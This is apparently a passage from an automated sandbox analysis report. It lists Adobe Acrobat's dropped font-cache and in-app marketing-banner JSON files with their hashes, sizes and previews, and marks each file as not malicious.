SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2328

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2328

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.357818072721133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJM3g98kUwPeUkwRe9:YvXKXuSSSD4nc3OGMbLUkee9
MD5:	F68FFD493FCB0FC0CEFEC8D7D09D12F9
SHA1:	D8E2E61719105970803760DB74D18938F9860199
SHA-256:	1A2D616A52955A7D63F52453680F83E20E2866C09CF00ABABCD34BDC0608130C
SHA-512:	970297D8C88268D54B63321F04D745E3FDC54F19222DDAB69D2F89F407195F06A128CE61338BB431BDD557D3037D462073000D918FC6BE74E60119FDBEC7025C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311941523274376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfBoTfXpnrPeUkwRe9:YvXKXuSSSD4nc3OGWTfXcUkee9
MD5:	891E627B6067C2E125B7BAD91D819776
SHA1:	4ACE32F0DFB25A6E84849556915199BA691945E2
SHA-256:	762E35B58060A18B0CB81D80A792F054F53224A47663029AAB026DA9EA9CF02B
SHA-512:	CBC3F91284477523ABC00675A7CF540350D8D424AB8B0493BD4AEB0C065A49E36431203B5A4E297395C3709840CB35DE86A5BE0C42B69AFC2D20A49DFB6E3F81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290936558669452
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfBD2G6UpnrPeUkwRe9:YvXKXuSSSD4nc3OGR22cUkee9
MD5:	7DAC5543C9E08DED2EB0C0905B7BCC75
SHA1:	6A7BD633EFF400CE0F00A5A2F2AD344474F7CB37
SHA-256:	991055C6541F68203CB378FFF0760FFBFCD1D6430550D8F459217174AADDFCA5
SHA-512:	81892A6EA591E616DABE53CA2F18C5B50D7BE9897065F4BC75112CFE850186C021D12938051FE3168524850B4A9D1E79B1794C405C1616A5E75FFF3D7D68BBE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33764607597819
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfPmwrPeUkwRe9:YvXKXuSSSD4nc3OGH56Ukee9
MD5:	21E58BC3BE2866EE86CF9A15D8CCC3C4
SHA1:	FADFBA0DC74343D460C0586D3421394A0F508ECF
SHA-256:	BE840379947C73288F866155C02C0ED518B5414794B73A4502D50BCFA95F2F20
SHA-512:	8C46DE503A5808332182E31A7BC39CE57C1723D311528D672713893817C8CA08416A66A26B672A60FC03E537A4C175907528691E42E4ABFE42BE31562311D8CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684217737123508
Encrypted:	false
SSDEEP:	24:Yv6XuSzF37pLgE9cQx8LennAvzBvkn0RCmK8czOCCSan:Yv1qhhgy6SAFv5Ah8cv/an
MD5:	543C843A81EFE8BE40A51B50C22D5E5F
SHA1:	7D52FF6898FA289C35B0328868B5B2F16B72A916
SHA-256:	C4B95B21F56C91396E0D010E85E515023CAB30F0DD7822F93A567128AB3B8544
SHA-512:	0BAC6346988972B24406AB2111557D4FBCA6782E9AAAB8C51642EFED400CACBC6A8422C87D3EA9249DD6B9144966A60BFF8A2B36DC30010769C89515C7EA5ACC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286616724173316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJf8dPeUkwRe9:YvXKXuSSSD4nc3OGU8Ukee9
MD5:	668EB0731BB86CFD43AA7AF5010F7F8C
SHA1:	423E9D1D7A3A804D98FBF354C9E7CE8053E0367A
SHA-256:	7EB87C9BB29E944463A155BCC0C57BA4B5CC9882E1BE2DF3CA25FBE739530A30
SHA-512:	3EAB714FC69AF51EA9910E0017C236934AA594F5F8FB2E5EE8B03FEFAEC0B0903617916DB288E0F2063A7564072B29BC99E7ACF7FF5188875EEBA610F2DB74D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2896972751207
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfQ1rPeUkwRe9:YvXKXuSSSD4nc3OGY16Ukee9
MD5:	514BA90FC9255638368611642CB1E07E
SHA1:	AA2E3DA98F1F03F8F84F24282A26DA217D244A99
SHA-256:	9923D8275F65778E408D3AAFF4ECFA7A7FDEAC0E8FD0D75A00B8CA642313FE5A
SHA-512:	CA5DC2C54888BA408113847671DAE66878605EECFA70E5A96506A0C3096FC14B7C9FC4EA52DCF7BF7EDC28AA1025BAEECF6A4A4FF9204F803F09B6A2E30B10D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296601225082118
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfFldPeUkwRe9:YvXKXuSSSD4nc3OGz8Ukee9
MD5:	BB2C3A629213EE952CA6F36E7238FF55
SHA1:	BBB54572CCAF69A944225AA9DD43494F5103E16F
SHA-256:	F829D23141537DFBC87905A50A650CBDC2B816D2DC3EBBF2B5E0F8D14C0266B6
SHA-512:	A4578E1E23BD2446B568A6AA7440A0A81AE728A160DE27E8DAFF0C5197E9703EC2CA2A7A3C6B65395806AAF42DAD6A57140C11BA083DD04A012B983ED0CB8B0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3128037918232005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfzdPeUkwRe9:YvXKXuSSSD4nc3OGb8Ukee9
MD5:	01ABD55F9BF4945C46A334DA0F5EB376
SHA1:	694E160A331FCB94EF4A593C71205A41FF171899
SHA-256:	E054F739B9C63675E37B28A29A7E25C0309E2CFE8F06750448C16BD14567526F
SHA-512:	3B306B74A1E4E02B9FBB5318123DD33AC22D6BFD17361509A931FA7B76BEAA93C24C89EC278281549A838B2D15DD8FE8B26679BA2C82ECC2A5B1362ED57F6CF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293588821898577
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfYdPeUkwRe9:YvXKXuSSSD4nc3OGg8Ukee9
MD5:	9753DFCA86029D7869CC332529B8B0F1
SHA1:	0ADDD51B1536979BAC8907803C55F886FAE0B43C
SHA-256:	5A4E4E15160D8E9D5AF53A25F03D772A1C490515C25016831BEE3977F5584386
SHA-512:	9D36BF88D5F5D432BDA256268DAB7104CFCCCE28DCB6432F021BC23D8FCE4144692F1D5F9572B614EB45291D8D847543AF4533A69ADD2F2CBACF2E1AC2377281
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.279825312795193
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJf+dPeUkwRe9:YvXKXuSSSD4nc3OG28Ukee9
MD5:	09614DD6D1606B8B72BE28A2355B3FC3
SHA1:	D2C0083713E7FC64515F1669A3CC842C4843287D
SHA-256:	2E828210EE7B812D01A489EC9968C26BF12D0DD78FEC144675EE9BB48F6531ED
SHA-512:	767B064CBEC1AD442CA41AB92E4BFD1B8B06D132DEAE4A38A8326E225A128F79C9E8FE005354DD6DD045120FC23AED17D8538D8F35B66B6AD9B497FD6C01BAB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.277179982652175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfbPtdPeUkwRe9:YvXKXuSSSD4nc3OGDV8Ukee9
MD5:	664D7570EC4AC359B4DF31BA657A991A
SHA1:	72B951CF312C71B0499F188A789BA8D996205685
SHA-256:	39289B7B108AF986D95D96E18BA81060B629225038729A40D8803369D6EC86F7
SHA-512:	7E617A474063319070196BD7426BADDF32CCCA3E82EDADF25658A29DA3E89604A1A4160C6704FBB14E5E61AFA1E925FCAF3162397EA4F7F809919A0D21A5DFC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.280768428273638
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJf21rPeUkwRe9:YvXKXuSSSD4nc3OG+16Ukee9
MD5:	E06C0FC8B92F2D2A614E7DE0484EA8F0
SHA1:	78D5614EF015B5BD72CE46BCB1B65F9EB6F47C6A
SHA-256:	9F279889199FC4BDA4CA95C5B5A3E0EC9799983E66F4443D5AA73102B8235D04
SHA-512:	1711D0BA936D67ECE0A7E96FF148B5F1983F96A9CB3AA8B12A144F6C19F3E6E4F1B171A98038582CD5DB6689F61449B9F8A72B03658C7DCBA74C6FA35518E87C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657967195439207
Encrypted:	false
SSDEEP:	24:Yv6XuSzF37amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSan:Yv1qtBgkDMUJUAh8cvMan
MD5:	4A03BAD551F2B48353024978A77F396F
SHA1:	C64CA5CD69B7CA23BAEAEF4FBAE49EB8A64299F1
SHA-256:	307B20E9CA4E328CD81C00A08120308B88C499A91AFE21058AEB99923CB9C87B
SHA-512:	921DFEAEC35B12AECFD2BC177ED680505FEB153C4EC42533A127F135C93F3D7D0FD9B4AEDA3C9BB75C5C0C5E4A7CF88A7C1F05A0CB40BEACB5149763AED5B5F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
